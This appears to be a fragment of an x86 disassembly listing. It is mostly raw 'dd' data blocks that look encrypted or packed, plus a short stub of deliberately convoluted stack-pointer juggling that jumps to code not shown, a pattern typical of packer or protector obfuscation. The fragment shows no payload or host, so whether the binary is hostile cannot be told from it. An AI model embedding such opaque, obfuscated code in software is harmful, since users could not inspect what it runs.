		dd 5AC406A6h, 0DDD9E2B1h, 9C1BA969h, 0D0EEA2F7h, 0C43AEAE8h
		dd 879F8EC4h, 18C6D7C2h, 0DACDDC6h, 2300B34Ah, 0B3F1F5B3h
		dd 984FEF4Fh, 0A6A3BCD8h, 0D7E6956Bh, 0D71BA462h, 0FFA4604Ah
		dd 0D01C9F2Fh, 4B8733D7h, 31C36439h, 50741788h,	2527EA61h
		dd 688C7B92h, 794B5BE6h, 47720224h, 0C18E2F5Ch,	49FE23BCh
		dd 0E4C5A5A2h, 0CE991F18h, 0B9EA8F21h, 917AEC12h, 2EB6761Bh
		dd 56497000h, 703F770Dh, 0F3EF860Ah, 0C654997Eh, 8B3E0C3h
		dd 6CE8FFC1h, 4D7AAF0Fh, 5F8522A9h, 9743D9D3h, 2291295Bh
		dd 0F3F0345Ch, 0CB8C3D0h, 0C7433FADh, 494F7E51h, 0AB92A0E3h
		dd 0DA991C33h, 4B9C01A1h, 0EC8F10B9h, 39800912h, 8F5AA630h
		dd 0EA3DA965h, 19D6CB59h, 45D40487h, 95596EC6h,	50579128h
		dd 870FD3C8h, 204A7A04h, 70783E0Fh, 0CC000000h,	553B0C25h
		dd 3E4D4A46h, 985A1080h, 1FCFD4ECh, 0DBDAEA8Fh,	3E965393h
		dd 42491A07h, 0FE06197Bh, 0B0CA00B5h, 0F9E3837h, 7587F122h
		dd 26C9CE20h, 2B8006B5h, 27F436C3h, 1524D7Ch, 0B4D14178h
		dd 59D45FC1h, 0F45989BCh, 21496850h, 95C1FF87h,	0E7BEFF8Ch
		dd 0D7253B1Ah, 0FD1B8C3Ch, 0F36314F6h, 7B0056B5h, 4471CF03h
		dd 0E7FD43h, 1410000h, 8D1A9F2Bh, 901CD056h, 0DCEDB6E9h
		dd 0F09925C7h, 7E571B3h, 6294C81Fh, 9F3F4776h, 0E6B33E95h
		dd 0AAA4270Fh, 70FC9C21h, 0B5EADF94h, 0E1D0E46Eh, 9D964A99h
		dd 4677040Dh, 0CB428DF3h, 0BB1B9F7Eh, 1E07E296h, 6D3242CEh
		dd 68F032B4h, 0B66C903Bh, 1AA2D200h, 16AB4BA2h,	451974F0h
		dd 3C884228h, 0DEEDB6FDh, 0DFC429DFh, 0AFA83F80h, 5042EED1h
		dd 2813C3Fh, 64C4F522h,	17C578D1h, 0F3A04E67h, 8107DCC1h
		dd 79821A9h, 19C1285Ch,	45C622F2h, 9D2CB277h, 0D22A5102h
		dd 0A68C16CDh, 6C6F9470h, 6E5A4245h, 5B000004h,	1E03F98Dh
		dd 0A36844CCh, 15FAF284h, 0A66B41D1h, 4201FB85h, 0BC469DA9h
		dd 0FC8A5B40h, 40C61B00h, 0F985A76Ch, 0EAC97903h, 36B7CE84h
		dd 123FBF8h, 474CA02Ah,	1BA319A5h, 0B4D76986h, 9F2B010Ah
		dd 0CB578D1Ah, 2B0143F1h, 578D1A9Fh, 7149F1CBh,	96533C42h
		dd 0B504B03Eh, 3E9653CDh, 5C0B5841h, 0E6D0FB89h, 9C24C670h
		dd 0BD05BDC7h, 965378FEh, 223EC3Eh, 219C1F74h, 761BCDF9h
		dd 0A1EAC0ECh, 41603D6Ah, 0E4F74741h, 0D1E8917Ah, 0AE0D6EB3h
		dd 6DAC49D2h, 1D00F2h, 0F84FB846h, 8E5E435Dh, 74737902h
		dd 795F6E5Eh, 759C75h, 10A20000h, 0CDEC985Ah, 447F9030h
		dd 0ABAE9D54h, 8435C569h, 0F0C19A1Bh, 0B1224867h, 8D9638ACh
		dd 0FC08B5D6h, 169F3ACBh, 969B4787h, 0D0B92B3Ah, 0F5C110A9h
		dd 7146BB30h, 836FFF19h, 0CBEA36B0h, 7B209816h,	99A1FA7h
		dd 0A6910E74h, 0CE998269h, 0BBE4951Bh, 693BEE10h, 911C6251h
		dd 839069A6h, 25F3F4F8h, 0A3B294CEh, 7605CF16h,	2729D408h
		dd 104024Eh, 13C0000h, 8D1A9F2Bh, 0E6BDCC56h, 950ABA46h
		dd 0ECB7C250h, 67BDEADFh, 4552E1DBh, 4D1D5C71h,	84079558h
		dd 5CC6BF39h, 0A4241787h, 93E964Eh, 8DB8B43Bh, 0C26A2A0Bh
		dd 0F12B8BF3h, 4112FF31h, 7DB76D3Ah, 6A018930h,	0BA3261B9h
		dd 0A048FBF2h, 9B651CD1h, 0E975B7F0h, 69BBE0E0h, 5208AEDDh
		dd 7FA514A0h, 75A1F8EFh, 4972FA30h, 9DAF5974h, 7D09B400h
		dd 93CA15AEh, 0EE13E40Bh, 8ED319D2h, 0B40811EDh, 0FA8A48FEh
		dd 0E6B433BBh, 336866A5h, 604C18FAh, 90AC9158h,	3D0F36BDh
		dd 8B86FA80h, 48D6178Ch, 83905E41h, 8059C5F8h, 0E795E49Dh
		dd 0CE158A3Ah, 80A36844h, 8FD29817h, 5D463479h,	47882C06h
		dd 12B52F46h, 2808Ah, 27BB6D00h, 921AD0D5h, 20B2751Ah
		dd 9727C7CCh, 21AB8025h, 47FFECCBh, 0FDA21AA4h,	7D229A28h
		dd 0C9CE1EA4h, 0DB259723h, 0CCA2C8E7h, 0DD1636B7h, 0A02A0141h
		dd 19A5474Ch, 5A1015A3h, 0E1CDEC98h, 9C4045E7h,	58498AFDh
		dd 0EE3F02E9h, 47BF9A0Eh, 0ADEBBA44h, 0A736C2A2h, 0D4648217h
		dd 2DD1FAA5h, 0D2645564h, 0A47C3773h, 16A32BFFh, 14BFFE8Dh
		dd 0A8D33AAFh, 0D2FD118h, 846B4738h, 9E13C6F7h,	18BB9E70h
		dd 0BCE137B0h, 0F2ADDC68h, 0EEA5B5C9h, 5D310DDh, 0F1000001h
		dd 31CBEAFAh, 76057236h, 0A32B0148h, 0DCC7F284h, 98CB5B8Bh
		dd 0E771B2F1h, 6702DBE2h, 4757547Eh, 8B8E8ED6h,	5CBE489Fh
		dd 0CBEE78ABh, 425ADDD8h, 795B6269h, 9E3E9680h,	0C3D843E9h
		dd 94DA9323h, 8470525h,	0CC74481Bh, 48717D7h, 0C4F581A3h
		dd 0ABA78EEh, 64DA98ABh, 0C6EE2181h, 85382E4Ch,	46D21EB4h
		dd 2FAA737h, 4074BE2Ch,	42F239A9h, 7B7DBA2Eh, 0E86B4AC8h
		dd 289C1F90h, 48B29E89h, 0D5CF5705h, 300360C7h,	1B4F94F2h
		dd 9BB6816h, 2A06D3E2h,	6D53FF04h, 4E4DA8E7h, 15D28560h
		dd 0D7CCF883h, 6D328A14h, 0A4462CB6h, 91921DB1h, 133AEEEh
		dd 0D0200000h, 7DBC03Ch, 0C7682D7Fh, 14D2B735h,	0C0632884h
		dd 0E607C636h, 0AB018B60h, 43B947E6h, 0A7058B5Eh, 46B642E2h
		dd 0C1A908BCh, 3536B7CBh, 2A01623Ch, 943775F2h,	0DC87348Eh
		dd 5D9158E0h, 810BE080h, 0C4EA7F8h, 1592397Ch, 0BB6943CFh
		dd 84A32B01h, 0AB13A1F2h, 0A9489E44h, 0BBF24633h, 3E95CFB3h
		dd 0B294CC27h, 93C19CAFh, 0B60EBBC0h, 0BB03AF1h, 40BC489Ch
		dd 54D67178h, 6169D237h, 24EE5C5Ah, 22B82190h, 0BD34A07Eh
		dd 41382D5Fh, 0B80586F6h, 334FDA61h, 15D6CB77h,	83D05E8Fh
		dd 27FAADF6h, 48718A1h,	5F96F1B9h, 8A97E5D5h, 7DDC2FAh
		dd 18554E7Bh, 36B73452h, 1BAEDDC6h, 0F0CC588Ch,	2F8EF92Bh
		dd 36B73447h, 0EF85CEBBh, 50EC7FF8h, 0D0970E9Eh, 6D5C5F39h
		dd 0E249584Ch, 0BB202759h, 0B58F674Fh, 0AAF3DF0h, 911FCE99h
		dd 0A914B7E8h, 1FF79E3Ch, 0F1793880h, 655F96E8h, 3CC90FBCh
		dd 68BC3FA8h, 0E93BE0DCh, 0B7772C5Dh, 0F55B2479h, 0D2813132h
		dd 9215D5A7h, 4DF76F86h, 6A5B658Ch, 1AA64661h, 9B27FDA2h
		dd 3AEEEh, 0
		dd 9B2F01BEh, 0E773B9EEh, 961CC5E2h, 0E371B4F3h, 901AD1D6h
		dd 0DF69BAE9h, 8919CDDAh, 0F284A300h, 820AE0C7h, 3A6899F7h
		dd 5400000Ch, 8124048Fh, 42404h, 89520000h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 2414895Ch, 0CA668h,	243C8900h, 5033B951h
		dd 81412B2Eh, 0FF4F7BC9h, 81D1F742h, 0DDDA59C1h, 0C8895073h
		dd 5958C289h, 243C8B54h, 6804C483h, 5B3Eh, 0BB241C89h
		dd 8, 1389FB01h, 243C8B5Bh, 5E08950h, 4, 8704C083h, 8B5C2404h
		dd 89562414h, 4C681E6h,	81000000h, 4C6h, 24348700h, 33ECE95Ch
		dd 0E4BFFFBh, 169E4336h, 6A497420h, 4C715108h, 0DE8A39B8h
		dd 0FFC50307h, 4CCC68E0h, 6AEC9D4Ah, 0DF867622h, 0AD23F841h
		dd 0BAA98809h, 72FFE48h, 0DB235027h, 61381164h,	0D40CC065h
		dd 639EE701h, 9B058B6Dh, 25AE5435h, 0A832870Bh,	0DADCB273h
		dd 8DC5CA54h, 53396E63h, 0C2E92A76h, 0E7275076h, 3EC4ED50h
		dd 948D6D6Fh, 44E921h, 8C540000h, 4906h, 1C570000h, 48434AC5h
		dd 0ADF93661h, 8C88A7A5h, 0B7FB7552h, 0F99CBE00h, 937EE5ADh
		dd 0C7009D89h, 63921DF4h, 0DE1960h, 5 dup(0)
		dd 90E90000h, 6800000Fh, 7DE8CE9h, 0F746CBE9h, 8EF768FFh
		dd 0C1E907DEh, 68FFF746h, 7DE9065h, 0F746B7E9h,	918868FFh
		dd 0ADE907DEh, 68FFF746h, 7DE92A8h, 0F746A3E9h,	93FE68FFh
		dd 99E907DEh, 68FFF746h, 7DE94F2h, 0F7468FE9h, 97D068FFh
		dd 85E907DEh, 68FFF746h, 7DE994Ch, 0F7467BE9h, 0D010F0FFh
		dd 0B3F38A90h, 0CB0BA785h, 0B5F18F8Dh, 0CA0AA583h, 5B68C38Eh
		dd 5E3C7CBCh, 565484C0h, 593F81BDh, 834080BCh, 5021280Ch
		dd 0EA86F48Bh, 4B12E26Dh, 30F48B50h, 3C26663Eh,	2064143Bh
		dd 0F38A92E5h, 0C9AE87B3h, 0CD392E0Eh, 2793A964h, 8386C671h
		dd 1D0D0BA4h, 239AB222h, 66D8F387h, 74EE0335h, 0A589302Eh
		dd 0AEB5872Ah, 13A329FFh, 1583755Ah, 0B8F48E80h, 0C5EBAD8Ah
		dd 0CCB027B0h, 0A329FF85h, 0FE9385EAh, 5336F10h, 0C8049E90h
		dd 79B552D8h, 0D8778049h, 29FF5D04h, 422D42A3h,	5489A78Dh
		dd 47E26727h, 74C6A070h, 77435B00h, 0CFBF58B3h,	7E04F434h
		dd 0E7D30FF0h, 0E96EE90Eh, 2EEA2A05h, 25134F30h, 0AA8A6647h
		dd 0F166D5A3h, 5A886F08h, 0A07E8671h, 65EC7664h, 0D42D14F3h
		dd 0D6617661h, 16E21706h, 4E291DF6h, 25D3D40Eh,	0B9C1D555h
		dd 2FC9BDE0h, 0F838D3F3h, 9DA29208h, 3E147C17h,	8065EF88h
		dd 0DD39B151h, 0D51BE73h, 3FDF0000h, 40DBC1FFh,	42DAC000h
		dd 3AD8D602h, 3DDCC2FEh, 0B910BBFDh, 312F6F0Ah,	0CB0D492Bh
		dd 0C8F834CDh, 0D70945E2h, 0B89F75FAh, 1DF48B57h, 0E7C88551h
		dd 4CDB6D16h, 51262026h, 0C1F91C86h, 0BEEBCEC0h, 86B4F490h
		dd 7F5DEFB1h, 6BF2C29Eh, 50F35538h, 27105027h, 0B6865150h
		dd 4219AC33h, 19E8303Eh, 0C730AADFh, 0BB09B2B5h, 0E8ED9385h
		dd 0EFEB2B06h, 17320AF6h, 0A4A57ABDh, 895A3B2Bh, 3C22B355h
		dd 0F9A7D0CBh, 2B3202CBh, 900B7858h, 0E92507E7h, 0A0D8D40Eh
		dd 3BC0AF11h, 0F02D5253h, 0B8174636h, 28CED79h,	3BFC0D8Dh
		dd 0B938D3BDh, 0E435C4C7h, 0CB672F90h, 4B70h, 92E59400h
		dd 27931C93h, 36566021h, 126A1664h, 7BE9B1A5h, 5949FE4Ch
		dd 3C2AA3D0h, 676225Eh,	0A318A151h, 0DFDB942Ah,	0AFF8C0Bh
		dd 0F1F27AEh, 0FA7A9411h, 0DDB9F2A0h, 91D1AC9Ah, 0FC8BC18Fh
		dd 0DF981C6Dh, 47789326h, 0AC000001h, 8A2E7C8h,	0C3039ACCh
		dd 3519AEACh, 3E7E155Eh, 26016719h, 0A37D71E6h,	68A88767h
		dd 917B7D7Ah, 0B4AEEA8Bh, 4F91CDAAh, 0C0B20057h, 9A92DB78h
		dd 5AC8CEC8h, 99D59DA2h, 2CC7732Bh, 18F38D02h, 94396719h
		dd 0E305D426h, 34E49CEAh, 0D6735444h, 36A429F1h, 0E7CD58E1h
		dd 0E791CA60h, 46B23045h, 54DAC696h, 0B6966EB3h, 914A7FE6h
		dd 0E40B64E7h, 2ECFCD0Bh, 5F4FC8F2h, 575585C1h,	693E7CBCh
		dd 0CEA9928Eh, 9F8F08CFh, 92803102h, 73E35979h,	0E0CC9C5Ch
		dd 7B99C7B8h, 0ADE084E0h, 2FC0D5A5h, 2BD1D3E6h,	42351642h
		dd 0D2FEE7AEh, 78ED1ECAh, 652C96CBh, 894E29A2h,	3E83200Eh
		dd 3B3C2666h, 2A146414h, 20091C48h, 9C369DA2h, 1737B8D7h
		dd 0EC3C3C7Ch, 1E7A839Ch, 51AE2CA1h, 34FB28D7h,	1D95E593h
		dd 0C4598AFCh, 75FAB5BAh, 73331AFAh, 0DF985FD5h, 1C5C3B21h
		dd 23633E1Ch, 627ABEA9h, 38C9976Ch, 0B43h, 0C3F535D1h
		dd 0D20E4EE5h, 0F0F030CCh, 0E4D410EAh, 0EDEB2B06h, 5D3C8722h
		dd 5F3D1B1Dh, 5A373523h, 5B3C221Eh, 6B64211Fh, 8B55C289h
		dd 0BBC7A7F4h, 26663D31h, 0D515F47Ah, 0EC2805E3h, 0A63108ECh
		dd 55DB8FD6h, 0BF7BF4F3h, 5183FD36h, 7CBDBB06h,	5797737Bh
		dd 6DE5B780h, 0AC7B1DAh, 7204B5E1h, 82875FDBh, 0FB3E9330h
		dd 229B8FFDh, 67E2AAE9h, 522A185Dh, 0B6FAAA26h,	56EB2E49h
		dd 75076BCDh, 48CA6C65h, 196A038Eh, 0AA56B793h,	12E75h
		dd 2F84FE00h, 0C010A05h, 6BF2C28Dh, 50EA681Dh, 0C80D7927h
		dd 0ADAFABE7h, 0D4A892D2h, 2BFAF3BEh, 18543214h, 396BD9Fh
		dd 72FBCBF9h, 64CBB686h, 0D019064h, 3A483874h, 5A270F3Ah
		dd 5A2841Bh, 0F49197C9h, 0B6C18AB8h, 730E00B7h,	36721333h
		dd 586D2B0Ch, 9FD2CD84h, 46E3C39Ah, 29D7D00Ah, 5A755751h
		dd 0F55222F8h, 0C603A962h, 0CB309111h, 30E02C9h, 5111E622h
		dd 7A445C33h, 20A6521Dh, 14EEE057h, 2904EAD8h, 42E00EE9h
		dd 91061A06h, 0DAC6069Dh, 0D0878671h, 613C3CECh, 0FB4CB72Eh
		dd 7141005Bh, 61733979h, 87C35D51h, 79B9515Bh, 0AA14A25Eh
		dd 5E415B30h, 2CD8B361h, 0F762E0FBh, 4F558205h,	37309724h
		dd 8E803720h, 0A785B3F3h, 2B0CC808h, 0E444ACF9h, 9D5C56Eh
		dd 0C3630000h, 0BC575583h, 0C65E3C7Ch, 0B6545A86h, 0C1603E7Ah
		dd 358C3F81h, 85B3F38Eh, 97C905A7h, 7CBCF891h, 93C5019Eh
		dd 7CE3B9BEh, 61F48B4Bh, 0E9C80105h, 0A8C602A0h, 0B8A8CF0Bh
		dd 0A799D5B2h, 88CFA52Ah, 0EDF355DBh, 0DB4D14E8h, 3D32F355h
		dd 0C8226612h, 0ADAFABE7h, 997BF4D0h, 0F355DBB2h, 0D77E5E17h
		dd 64F355DBh, 564F8BC7h, 97DE12D0h, 41DF0B99h, 94BBA116h
		dd 0F9F3554Dh, 0E85D5B74h, 0F3EF2F06h, 0B73606F2h, 0C22952F4h
		dd 99130A84h, 404D85F5h, 0B34C70D5h, 7F935D3h, 753A393Eh
		dd 0D0331AFAh, 0DF9820D8h, 0CDD0A421h, 60708D22h, 2A0C3D21h
		dd 0EF673E2Eh, 695DDC88h, 91665490h, 0B2BBC18Fh, 306C09FDh
		dd 84D2A30h, 4D02ED2Dh,	35F404CDh, 3C3CDE92h, 0DABA35D2h
		dd 0DCCF0E73h, 18611F58h, 0EB57E0DFh, 7B547FA3h, 30A553D8h
		dd 7294D44Ch, 4F25AABCh, 0E363BB08h, 2018086Dh,	8032E452h
		dd 0D6C51367h, 0FF981B88h, 8326E0Fh, 26623F2Fh,	373D3B3Ch
		dd 10AF763Eh, 0E2702BE5h, 8B251h, 20604000h, 23633A20h
		dd 1B5B3735h, 25613F1Dh, 1A5A3533h, 0EBD8731Eh,	8E8CCC0Ch
		dd 0A684B4F0h, 898FD10Dh, 0D3B0B0ECh, 4A51F8DCh, 3A36F48Bh
		dd 0ABE7C82Eh, 5D3816AFh, 26481D1Dh, 0CC524E8Eh, 0F9F3EF2Bh
		dd 89C56244h, 1D65F497h, 0D144480h, 0C39465A7h,	789h, 531DBB00h
		dd 6B000002h, 77BC4BD6h, 4CB64115h, 56747C05h, 3F26366Ah
		dd 4CAD77BAh, 9CD16DADh, 54168CDCh, 5AF31770h, 1809A1E0h
		dd 0EDE13BADh, 0FE8D212h, 763B1911h, 21B64741h,	669FC696h
		dd 6B044F11h, 0ACABCCADh, 64045123h, 962BAF27h,	2CAE2142h
		dd 0CCACEDAEh, 0C3A38DABh, 0BBBCA6E2h, 0A3DBCFBDh, 66970BCEh
		dd 0AEA01760h, 2C1A95D1h, 0FA66124Eh, 0EBD713F4h, 55DAD91Eh
		dd 0CD53FADAh, 3F3885EAh, 4434740Fh, 0C2F6D4Fh,	0AC232B52h
		dd 21D4162Eh, 0EA0A7684h, 0EE02B463h, 7DB32F48h, 0CA497A2Ah
		dd 76E35345h, 7CFB7302h, 0EBAF0CFEh, 33E502A7h,	0D962D5A5h
		dd 8D37BF49h, 0FE9F6CE8h, 223050A1h, 79291h, 40802000h
		dd 43831A00h, 3B7B1715h, 45811FFDh, 3A7A1513h, 0CBF853FEh
		dd 0EEECEC2Ch, 6E4D410h, 0E9EFF12Dh, 0B390D00Ch, 4971D8BCh
		dd 1A56F48Bh, 0ABE7C84Eh, 59AC16AFh, 8106024h, 41DE3C3Ch
		dd 0F9DE1AFCh, 0C554F3C9h, 4C2C08E6h, 55DAE168h, 0C6B1C6F3h
		dd 77B354DAh, 64D65A49h, 3BB4C394h, 55D6F259h, 0E29ED7F3h
		dd 1BE7h, 0A6312100h, 55DB8FD6h, 7D7BF4F3h, 115F4h, 785CD300h
		dd 0F355DBD1h, 73BFC1B6h, 1C9392E5h, 0DB9AC193h, 76FFF355h
		dd 0F5270D8Ah, 66A38C9Dh, 213C0A30h, 0D1B14C3Ah, 0A00664EBh
		dd 4B244962h, 0F433074Dh, 0A9CB08E2h, 0F1D55A13h, 2E8D814h
		dd 10F9E925h, 8D6FE8E7h, 432AD581h, 9FE8A91Eh, 6843239Eh
		dd 58343A28h, 4B413F18h, 0F0573DB2h, 0D5814667h, 93D3AEA0h
		dd 3DC095E5h, 3CD1E96Eh, 6293A3BEh, 57508ACAh, 61CEEBh
		dd 0C1FE6537h, 8AE3A969h, 0AD86E88Eh, 46D18671h, 8D8BC768h
		dd 86B2EE8Fh, 8FCB07A8h, 4E2ECDAAh, 0A969C107h,	44C6E6Ch
		dd 9B47F1ABh, 40149BB4h, 44B2120Dh, 0FCA6C620h,	8B220432h
		dd 38160F4Bh, 6C621E5Ah, 3607F378h, 2E05E9EFh, 5F3F4EEh
		dd 8450255Fh, 0FA0142D1h, 3C2BD88Ah, 0CA000006h, 0ECF2EE2Eh
		dd 898FD111h, 0A9AFB1F1h, 0C7A593CFh, 0E5B8A8E8h, 6AAA853Eh
		dd 528E706Eh, 6FAB8866h, 4E8A6B71h, 5A3A3512h, 0F48B48F3h
		dd 1DCC98D8h, 1D8h, 0F22ECCBAh,	3D314206h, 0C7AD2262h
		dd 0F355DB80h, 0A79090E5h, 3606D1D0h, 0F54F0B7Ch, 36653CFBh
		dd 0D7BD327Ch, 23243570h, 32602055h, 0D4F81E42h, 84E9935Bh
		dd 0FE3ADBCBh, 0C76145C2h, 0E6B64F8Bh, 5B97707Fh, 34E40B64h
		dd 1D1D5936h, 931C1B5Ch, 1D832EC1h, 0F9584102h,	89598F1Ah
		dd 0E7EC4DDFh, 0A42B447Ah, 0F4D0AF2Bh, 6812A6A9h, 90D5B2B8h
		dd 19FBB4F4h, 0EFF01132h, 0C7F9DE97h, 7EBA5C4Ah, 0BFFB9C82h
		dd 0C2C1B683h, 4FFA270Dh, 227584F7h, 2F4FD166h,	7ABC4D3Bh
		dd 13C141F9h, 0D414F0CFh, 0C05111E6h, 0E4928EE5h, 58476FEBh
		dd 76C6D6B0h, 0B973FC8Ah, 0CDB56200h, 48F68BD5h, 0D6000005h
		dd 0E0BEFA3Ah, 0D5D30545h, 0DDBBFD3Dh, 0D3D90743h, 19C4F434h
		dd 367611B2h, 4682240Ah, 3B77141Ah, 427E1FFDh, 66364116h
		dd 0F48B4FFFh, 0C88084E4h, 0CA0AA2E7h, 2E20B5A5h, 0B1261450h
		dd 55DB84CBh, 6B84E9F3h, 92CEAFADh, 62FBD6A8h, 0FF417D1Ah
		dd 1CD91882h, 0E7B927A0h, 0F9E92507h, 9F15FCFCh, 7FC393F4h
		dd 24FB5303h, 0D1CF3E3Fh, 0A7B6h, 3D31F200h, 45811E63h
		dd 4937302Ah, 3FF8F700h, 75CECC5Dh, 6358AB76h, 1D5D00C8h
		dd 0EC7DE6EFh, 0CC83ECD2h, 0DD8E14Eh, 794A2027h, 72F0850Bh
		dd 1EDAC8F2h, 18EDC5A9h, 0CFF13846h, 1D92BDB7h,	290F59Dh
		dd 0DC9C8B30h, 0C12C7870h, 57BF7D87h, 535996ACh, 0FAC39873h
		dd 0F0EC3FACh, 650B0DE2h, 2085E915h, 0CE61E10Bh, 89ED6B61h
		dd 5AB69D7Fh, 521BAF2Fh, 57D57B7Dh, 53FADAB6h, 0E0AF2F5Ah
		dd 0E4C10141h, 753A155Ah, 42377505h, 28048841h,	0D2FDFAE8h
		dd 2AD612F4h, 0CFADA136h, 0AB87E593h, 30C26F6Bh, 0B6000004h
		dd 0B3AFEBC8h, 0D2A99D12h, 0DB9BC292h, 7700F355h, 0C602A389h
		dd 0B7F3949Ah, 0AF850A8Bh, 0F355DBA8h, 0B2B8680Dh, 2AA799D5h
		dd 2121613Ch, 4F35444h,	0AC6A4A05h, 436C1E7Eh, 9A8288Fh
		dd 174A82F2h, 0A62F0C79h, 0E34FD43Ch, 0F6A21F6Ch, 0BFBBA7D0h
		dd 0CDBB39E8h, 0D700A283h, 0D6E39769h, 0EB4B2124h, 469726A1h
		dd 60B71F2h, 541DED0h, 8F8013h,	31A40000h, 3525653Dh, 0EADFCDABh
		dd 0EC03E9CBh, 2D2C4B2Ch, 7593D2A2h, 619E954Ah,	4A509412h
		dd 20A5342Ah, 8AF88D03h, 4F401279h, 33413F56h, 2C165631h
		dd 2FAB244Bh, 4408652Fh, 0A2DEBF8Fh, 6941CBCDh,	0C472028h
		dd 19E1B6C7h, 0E8170BB3h, 0E56E3B65h, 0EEEC2C07h, 0E5D515F0h
		dd 747DE10h, 0D766E1DBh, 343D24F8h, 0CDA28EBBh,	4CDDECA2h
		dd 4B12E26Dh, 308EBB34h, 66CA5947h, 4645A576h, 111h, 33FDDD1h
		dd 0DD5D9C57h, 23D5AAB7h, 0BE7C85Fh, 55DB2229h,	9EE87F3h
		dd 0F434D3D9h, 0C4D5BF3Bh, 339B9B22h, 34D1DB45h, 43E4CAF8h
		dd 0BE3CD907h, 70764B43h, 8CDC9C0Bh, 9E4EC2DEh,	80961F59h
		dd 881A1A4Dh, 42CD5184h, 8E8AC664h, 45811E00h, 0EF907E13h
		dd 3118FCB3h, 96B30184h, 5C391FE1h, 1E592220h, 40C4981Fh
		dd 0EBFE2A8Ah, 4395CCE3h, 0D818F7D7h, 20E01CF6h, 31A2BAAAh
		dd 0BD0720ECh, 8F0B88B8h, 86BD74FCh, 0AF98889Ch, 890EC9C8h
		dd 4D272E0Eh, 0E38CA0E2h, 0F7BD4535h, 10DA1234h, 51665D25h
		dd 0AC510E61h, 0B4B9430Ch, 0F59274FBh, 8A389B9h, 6BF1AFC8h
		dd 0A3834C8Ch, 0A196C404h, 926D6BDFh, 902BDA52h, 4E0498E3h
		dd 26AA5h, 0D818F800h, 0EB2B02E8h, 0D313EFEDh, 0ED2907E5h
		dd 0D212EDEBh, 33903BE6h, 46241454h, 2E2C2C68h,	41271955h
		dd 5B382864h, 4CD98054h, 0B2BEF48Bh, 0A9E9C8A6h, 98D4B1B7h
		dd 13532F1Fh, 0BE524E27h, 0D9B131FAh, 0D0BBDE21h, 136425D3h
		dd 0CAAB9B14h, 1C470EEEh, 432CF355h, 7E392E2Ch,	551CB79Eh
		dd 0A5531CF3h, 3E94C30h, 0B78457CCh, 0C41AD328h, 8E32B2F0h
		dd 8F2A98E5h, 96BD9FA3h, 0FBB39781h, 0DBC9C872h, 56C215C5h
		dd 1E73F077h, 0ADC26C62h, 7446BDADh, 84E17FC8h,	0B564D66Bh
		dd 0E8DF08C5h, 921B71CDh, 0E395D5B4h, 0AC0051E8h, 8A82D23Bh
		dd 0DE251B10h, 722ED91Eh, 10E57h, 0E7C89100h, 0D2ADAFABh
		dd 449D1D92h, 0BE9235C4h, 35D23C3Ch, 3E7CB851h,	5EBFB769h
		dd 0F1EFE219h, 171BFBh,	5D3519BEh, 58481D1Dh, 0D57A25E0h
		dd 4B2C2A1Ch, 2ACBD10Fh, 39E76E4Eh, 62E814C1h, 42D11570h
		dd 0E50A633Bh, 0E4E314F5h, 4A1896Bh, 4F3EBDCEh,	4C16D9C2h
		dd 0F1583CB3h, 0D6AE987Eh, 2487DFA1h, 19C2CC19h, 1DDEDA93h
		dd 8054DBDAh, 96FCD334h, 6F0078D7h, 0A3806EE8h,	7E7A7B67h
		dd 4E671C10h, 724C55A3h, 0D7BD32FDh, 45D2C270h,	0C2CF9666h
		dd 0BBB445D2h, 0F98E8AE3h, 0AC9A7A15h, 555290D0h, 0D2C2D87Fh
		dd 0D0AFBD45h, 7A555290h, 0AA856355h, 94DE26Ah,	4012625Ch
		dd 0EEB3h, 5C9C7C00h, 67A77E5Ch, 57977379h, 69A58369h
		dd 56967177h, 0B70CB76Ah, 0C2A898D8h, 0B2B8A8E4h, 0BD9B9DD9h
		dd 0DFB4A4E0h, 425D04D8h, 2642F48Bh, 0A9E9C862h, 502C1AB7h
		dd 23D5D210h, 2C2C6845h, 9BDBB797h, 0FB2A319Fh,	1A66F40Fh
		dd 0C8FF4335h, 0C20BA2E7h, 98C2ADE9h, 0D8AB89Fh, 40407C19h
		dd 0BF013DDAh, 88C86442h, 0DA9B5D5Ah, 43199E9Dh, 0FE548831h
		dd 3D55EB5Ah, 12EDE1F2h, 110FE8D2h, 0EF96EF43h,	19A3E08Ch
		dd 0A7886654h, 2A02E46Bh, 3C222EEAh, 0B6981F5Bh, 0C69F9BDBh
		dd 0A17448DAh, 4C63C6B1h, 8F68BE78h, 0DCB6983Dh, 0D3C5A2A0h
		dd 0CD99063h, 9639A5F6h, 0A2DEBF07h, 9BD7B8B6h,	0A7E3BD9Fh
		dd 5CEDB8BBh, 9377314h,	46980E8Ch, 0C4F7BF5Fh, 0BABBA7E3h
		dd 0A885E395h, 0CC56E6Ch, 2000000h, 1B775C98h, 53453A07h
		dd 0C86C1CEFh, 0B4BAA8E8h, 0C1AB97D3h, 0B0AEACE8h, 0C6A892CEh
		dd 0ADAFABEBh, 0C6A892D2h, 0ACB2B0ECh, 4C5290D0h, 917171B1h
		dd 81595451h, 4C1h, 4E98300h, 5C240C87h, 5E08950h, 4, 42Dh
		dd 24048700h, 243C895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 2BBF2414h, 811E036Dh, 0BD0303EFh,	79BB5313h
		dd 81454A12h, 0F66CEC3h, 5E3C165h, 12D8F381h, 0C381173Fh
		dd 0B188A7B8h, 835BDF31h, 248904ECh, 24048124h,	4, 43AD685Ah
		dd 34890000h, 89FE8924h, 8B5E0872h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5F68FC
; ---------------------------------------------------------------------------
		db 0C9h, 0ABh, 0B8h
		dd 7DE9A5Fh, 0E0FFC503h, 306277D0h, 3175E54Ch, 313D0499h
		dd 24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 0DE9B25B5h, 55858B07h, 8B07D332h
		dd 0D3098585h, 6FB58D07h, 8D07DE9Bh, 0DBC6C385h, 0C3D0FF07h
		dd 0E855h, 815D0000h, 0DE9B75EDh, 55BD8307h, 107D332h
		dd 2C850Fh, 0B5FF0000h,	7DE9B25h, 985858Bh, 363507D3h
		dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h
		dd 40E9C0h, 1C6A0000h, 9B29B58Dh, 0FF5607DEh, 0DE9B25B5h
